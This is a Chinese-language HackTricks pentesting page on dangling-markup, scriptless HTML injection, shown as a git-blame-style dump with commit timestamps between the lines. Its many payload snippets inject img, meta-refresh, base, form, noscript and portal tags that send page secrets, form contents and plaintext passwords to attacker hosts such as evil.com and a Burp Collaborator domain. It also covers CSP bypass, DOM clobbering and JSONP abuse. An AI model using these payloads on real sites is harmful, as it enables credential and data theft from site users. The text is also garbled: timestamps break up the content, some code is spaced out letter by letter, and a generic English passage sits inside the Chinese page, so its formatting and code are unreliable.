2023-08-03 19:12:22 +00:00
# 悬挂标记 - HTML无脚本注入
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 你在一家**网络安全公司**工作吗? 想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **加入** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram群组** ](https://t.me/peass ) 或 **关注**我在**Twitter**上的[** 🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
## 简介
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
当发现**HTML注入**时,可以使用此技术从用户那里提取信息。如果你**找不到任何方法来利用**[**XSS**](xss-cross-site-scripting/),但你可以**注入一些HTML标签**,这将非常有用。\
如果某些**秘密以明文保存**在HTML中, 并且你想要从客户端**窃取**它,或者你想要误导某些脚本执行,这也是很有用的。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这里提到的几种技术可以通过意想不到的方式( html标签、CSS、http-meta标签、表单、base等) 绕过一些[**内容安全策略**](content-security-policy-csp-bypass/),以泄露信息。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 主要应用
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 窃取明文秘密
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果你注入`< img src = 'http://evil.com/log.cgi?`,当页面加载时,受害者将向你发送从注入的`img`标签到代码中下一个引号之间的所有代码。如果某个秘密恰好位于该代码块中,你将窃取它(你也可以使用双引号进行相同的操作,看看哪个更有趣)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果`img`标签被禁止( 例如由于CSP) , 你还可以使用`< meta http-equiv = "refresh" content = "4; URL = 'http://evil.com/log.cgi?`。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
< img src = 'http://attacker.com/log.php?HTML=
< meta http-equiv = "refresh" content = '0; url = http://evil.com/log.php?text=
< meta http-equiv = "refresh" content = '0;URL=ftp://evil.com?a=
```
2023-08-03 19:12:22 +00:00
请注意,**Chrome会阻止包含"< "或"\n"的HTTP URL**,所以您可以尝试其他协议方案,如"ftp"。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您还可以滥用CSS的`@import`(它会发送直到找到";"为止的所有代码)
2020-07-15 15:43:14 +00:00
```markup
< style > @ i m p o r t / / h a c k v e r t o r . c o . u k ? < - - - I n j e c t e d
< b > steal me!< / b > ;
```
2023-08-03 19:12:22 +00:00
您还可以使用**`< table ` * * :
2020-07-15 15:43:14 +00:00
```bash
< table background = '//your-collaborator-id.burpcollaborator.net?'
```
2023-08-03 19:12:22 +00:00
您还可以插入一个`< base ` 标签 。 所有的信息都将被发送 , 直到引号关闭 , 但这需要一些用户交互 ( 用户必须点击某个链接 , 因为基准标签已经改变了链接指向的域名 ) :
2020-07-15 15:43:14 +00:00
```markup
< base target = ' < --- Injected
steal me'< b > test< / b >
```
2023-08-03 19:12:22 +00:00
### 盗取表单
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
One interesting technique to steal user data is by exploiting dangling markup or HTML scriptless injection. This technique allows an attacker to inject malicious code into a website's HTML code without using any script tags.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
The idea behind this technique is to find a vulnerable website that allows user-generated content to be displayed without proper sanitization. The attacker can then inject their own HTML code, including a form that looks identical to the original website's form.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
When a user interacts with the injected form, their input is sent to the attacker's server instead of the legitimate website's server. This allows the attacker to steal sensitive information such as usernames, passwords, credit card details, or any other data entered into the form.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
To perform this attack, the attacker needs to identify a vulnerable website and find a suitable location to inject their code. This can be done by analyzing the website's source code or using tools like Burp Suite to intercept and modify the website's responses.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
Once the injection point is identified, the attacker can craft their malicious HTML code and inject it into the vulnerable website. The injected code should include a form that mimics the original website's form, ensuring that it looks legitimate and doesn't raise suspicion.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
To make the attack more effective, the attacker can also use techniques like phishing to trick users into interacting with the injected form. This can be done by sending targeted emails or using social engineering techniques to lure users to the malicious website.
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
It is important for website developers to implement proper input validation and sanitization techniques to prevent this type of attack. Regular security audits and vulnerability assessments can also help identify and mitigate any potential vulnerabilities that could be exploited by attackers.
2020-07-15 15:43:14 +00:00
```markup
2023-08-03 19:12:22 +00:00
< base href = 'http://evil.com/' >
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
然后,将数据发送到路径的表单(如`< form action = 'update_profile.php' > `)将把数据发送到恶意域。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 偷取表单 2
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
设置一个表单头:`< form action = 'http://evil.com/log_steal' > `,这将覆盖下一个表单头,并且表单中的所有数据将被发送给攻击者。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 偷取表单 3
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
按钮可以使用属性"formaction"更改表单信息将要发送到的URL:
2020-07-15 15:43:14 +00:00
```markup
2023-08-03 19:12:22 +00:00
< button name = xss type = submit formaction = 'https://google.com' > I get consumed!
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
攻击者可以利用这个来窃取信息。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 窃取明文密码 2
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
使用前面提到的最新技术来窃取表单(注入新的表单头),然后可以注入一个新的输入字段:
```markup
< input type = 'hidden' name = 'review_body' value = "
```
而这个输入字段将包含HTML中双引号之间的所有内容和下一个双引号。这种攻击将"_**窃取明文密码**_"与"_**窃取表单2**_"混合在一起。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以通过注入一个表单和一个`< option > `标签来执行相同的操作。直到找到一个闭合的`< / option > `标签之前的所有数据都将被发送:
2020-07-15 15:43:14 +00:00
```markup
< form action = http://google.com > < input type = "submit" > Click Me< / input > < select name = xss > < option
```
2023-08-03 19:12:22 +00:00
### 表单参数注入
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以更改表单的路径并插入新的值,以执行意外的操作:
2020-07-15 15:43:14 +00:00
```markup
< form action = '/change_settings.php' >
2023-08-03 19:12:22 +00:00
< input type = 'hidden' name = 'invite_user'
value='fredmbogo'> ← Injected lines
2020-07-15 15:43:14 +00:00
< form action = "/change_settings.php" > ← Existing form (ignored by the parser)
...
< input type = "text" name = "invite_user" value = "" > ← Subverted field
...
< input type = "hidden" name = "xsrf_token" value = "12345" >
...
< / form >
```
2023-08-03 19:12:22 +00:00
### 通过noscript窃取明文密码
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
`<noscript></noscript>` 是一个标签, 如果浏览器不支持JavaScript, 其内容将被解释执行( 您可以在Chrome中启用/禁用JavaScript, 访问[chrome://settings/content/javascript](chrome://settings/content/javascript))。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
一种将网页内容从注入点到底部导出到攻击者控制的站点的方法是注入以下内容:
2020-07-15 15:43:14 +00:00
```markup
< noscript > < form action = http://evil.com > < input type = submit style = "position:absolute;left:0;top:0;width:100%;height:100%;" type = submit value = "" > < textarea name = contents > < / noscript >
```
2023-08-03 19:12:22 +00:00
### 通过用户交互绕过CSP
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
从这个[PortSwigger的研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)中,你可以了解到即使在**最严格的CSP限制**环境下,仍然可以通过一些**用户交互**来**泄露数据**。在这个例子中,我们将使用以下有效载荷:
2020-07-15 15:43:14 +00:00
```markup
< a href = http://attacker.net/payload.html > < font size = 100 color = red > You must click me< / font > < / a >
< base target = '
```
2023-08-03 19:12:22 +00:00
请注意,您将要求**受害者**点击一个链接,该链接将将其重定向到您控制的**有效负载**。还请注意,**`base`**标签中的**`target`**属性将包含**HTML内容**,直到下一个单引号。\
这将导致如果点击链接,**`window.name`**的值将是所有的**HTML内容**。因此,由于您控制着受害者通过点击链接访问的页面,您可以访问**`window.name`**并**窃取**这些数据:
2020-07-15 15:43:14 +00:00
```markup
< script >
if(window.name) {
2023-08-03 19:12:22 +00:00
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
2020-07-15 15:43:14 +00:00
< / script >
```
2023-08-03 19:12:22 +00:00
### 误导性脚本工作流1 - HTML命名空间攻击
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
在HTML中插入一个新的带有id的标签, 它将覆盖下一个标签, 并且具有一个会影响脚本流程的值。在这个例子中, 您可以选择与谁共享信息:
2020-07-15 15:43:14 +00:00
```markup
< input type = 'hidden' id = 'share_with' value = 'fredmbogo' > ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
< input id = 'share_with' value = '' >
...
function submit_status_update() {
2023-08-03 19:12:22 +00:00
...
request.share_with = document.getElementById('share_with').value;
...
2020-07-15 15:43:14 +00:00
}
```
2023-08-03 19:12:22 +00:00
### 误导性脚本工作流2 - 脚本命名空间攻击
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
通过插入HTML标签在javascript命名空间中创建变量。然后, 这个变量将影响应用程序的流程:
2020-07-15 15:43:14 +00:00
```markup
< img id = 'is_public' > ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
2023-08-03 19:12:22 +00:00
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
2020-07-15 15:43:14 +00:00
}
function submit_new_acls() {
2023-08-03 19:12:22 +00:00
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
2020-07-15 15:43:14 +00:00
}
```
2023-08-03 19:12:22 +00:00
### 滥用JSONP
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果你发现一个JSONP接口, 你可以调用任意函数并传递任意数据:
2020-07-15 15:43:14 +00:00
```markup
< script src = '/editor/sharing.js' > : ← L e g i t i m a t e s c r i p t
2023-08-03 19:12:22 +00:00
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
2020-07-15 15:43:14 +00:00
< script src = '/search?q=a&call=set_sharing' > : ← I n j e c t e d J S O N P c a l l
2023-08-03 19:12:22 +00:00
set_sharing({ ... })
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
或者你甚至可以尝试执行一些 JavaScript 代码:
2020-07-15 15:43:14 +00:00
```markup
< script src = '/search?q=a&call=alert(1)' > < / script >
```
2023-08-03 19:12:22 +00:00
### Iframe滥用
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
请注意,即使跨源,**子文档可以查看和设置父文档的位置属性**。这意味着您可以通过在**iframe**中加载一些代码来使客户端访问任何其他页面,例如:
2020-07-15 15:43:14 +00:00
```markup
< html > < head > < / head > < body > < script > top . window . location = "https://attacker.com/hacked.html" < / script > < / body > < / html >
```
2023-08-03 19:12:22 +00:00
这可以通过类似以下方式来减轻风险: _**sandbox='allow-scripts allow-top-navigation'**_
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
还可以利用 iframe 来从不同页面中泄露敏感信息,**使用 iframe 的 name 属性**。这是因为你可以创建一个 iframe, 通过滥用 HTML 注入,使得**敏感信息出现在 iframe 的 name 属性中**,然后从初始 iframe 中访问该 name 属性并泄露信息。
2022-07-04 10:37:21 +00:00
```html
< script >
2023-08-03 19:12:22 +00:00
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
2022-07-04 10:37:21 +00:00
< / script >
< iframe src = "//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload = "cspBypass(this.contentWindow)" > < / iframe >
```
2023-08-03 19:12:22 +00:00
有关更多信息,请查看[https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
2023-08-03 19:12:22 +00:00
### \<meta 滥用
2022-07-04 10:37:21 +00:00
2023-08-03 19:12:22 +00:00
您可以使用**`meta http-equiv`**执行**多个操作**, 例如设置Cookie: `< meta http-equiv = "Set-Cookie" Content = "SESSID=1" > `或执行重定向( 在此情况下为5秒) : `< meta name = "language" content = "5;http://attacker.svg" HTTP-EQUIV = "refresh" / > `
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这可以通过使用与**http-equiv**相关的**CSP**( `Content-Security-Policy: default-src 'self';`或`Content-Security-Policy: http-equiv 'self';`)来**避免**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 新的\<portal HTML标签
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您可以在[此处](https://research.securitum.com/security-analysis-of-portal-element/)找到关于\<portal标签可利用漏洞的非常**有趣的研究**。\
在撰写本文时, 您需要在Chrome中启用portal标签, 方法是在`chrome://flags/#enable-portals`中进行设置,否则它将无法工作。
2020-07-15 15:43:14 +00:00
```markup
< portal src = 'https://attacker-server?
```
2023-08-03 19:12:22 +00:00
### HTML泄漏
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
并非所有HTML中泄漏连接的方法都对悬挂标记有用, 但有时它可能会有所帮助。在这里检查它们: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
2020-07-15 15:43:14 +00:00
2022-06-27 23:34:20 +00:00
## XS-Search
2022-04-05 22:03:49 +00:00
2023-08-03 19:12:22 +00:00
XS-Search旨在通过滥用侧信道攻击来**窃取跨源信息**。因此, 它是一种与悬挂标记不同的技术, 但其中一些技术滥用了HTML标签的包含( 带有和不带有JS执行) , 例如[**CSS注入**](xs-search.md#css-injection)或[**延迟加载图像**](xs-search.md#image-lazy-loading)**。**
2022-04-05 22:03:49 +00:00
2022-06-27 23:34:20 +00:00
{% content-ref url="xs-search.md" %}
[xs-search.md ](xs-search.md )
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
## 暴力破解检测列表
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这里介绍的所有技术以及更多技术的详细信息可以在以下链接中查看:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
还可以在这里找到可以滥用的其他HTML标签:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
更多信息:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 您在**网络安全公司**工作吗? 您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
2022-04-28 16:01:33 +00:00
< / details >